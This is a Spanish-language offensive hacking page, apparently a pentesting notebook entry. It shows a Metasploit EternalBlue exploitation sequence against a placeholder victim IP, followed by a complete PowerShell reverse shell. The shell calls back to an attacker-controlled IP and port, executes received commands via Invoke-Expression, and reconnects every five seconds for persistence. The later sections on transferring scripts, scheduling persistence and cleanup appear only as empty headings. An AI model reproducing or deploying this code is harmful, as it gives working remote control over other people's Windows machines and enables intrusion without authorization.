Shell Persistente PowerShell
Intrusion a la maquina (Ejemplo)
msfconsole -quse windows/smb/ms17_010_eternalblue
set RHOST <IP_VICTIM>
exploitScripts para persistencia mediante PowerShell
while ($true) {
try {
# Intenta conectarse al puerto especificado
$client = New-Object System.Net.Sockets.TcpClient("<IP>", <PORT>)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
$reader = New-Object System.IO.StreamReader($stream)
# Escribe una línea indicando la conexión
$writer.WriteLine("Conexión establecida desde $($env:COMPUTERNAME)")
# Bucle de comandos
while ($true) {
# Espera un comando del cliente
$writer.Write("shell> ") # Indica que está listo para recibir un comando
$cmd = $reader.ReadLine()
if ($cmd -eq 'exit') {
$writer.WriteLine("Cerrando conexión...")
break
}
try {
# Ejecuta el comando y captura la salida
$output = Invoke-Expression $cmd 2>&1
# Convierte la salida a cadena y envía de vuelta al cliente
if ($output -is [System.Array]) {
$output = $output -join "`n" # Unir elementos del array en líneas
}
# Envía la salida de vuelta al cliente
if ($output) {
$writer.WriteLine($output)
} else {
$writer.WriteLine("Comando ejecutado correctamente.")
}
}
catch {
# Manejo de errores
$writer.WriteLine("Error: $_")
}
}
# Cierra la conexión
$client.Close()
}
catch {
# Espera 5 segundos antes de volver a intentar si falla
Start-Sleep -Seconds 5
}
}Pasar scripts a la maquina victima mediante metasploit
Pasar scripts a la maquina victima mediante terminal
Programar persistencia en la maquina victima
Escucha mediante terminal
Escucha mediante metasploit
Eliminar la tarea persistente y los scripts
Last updated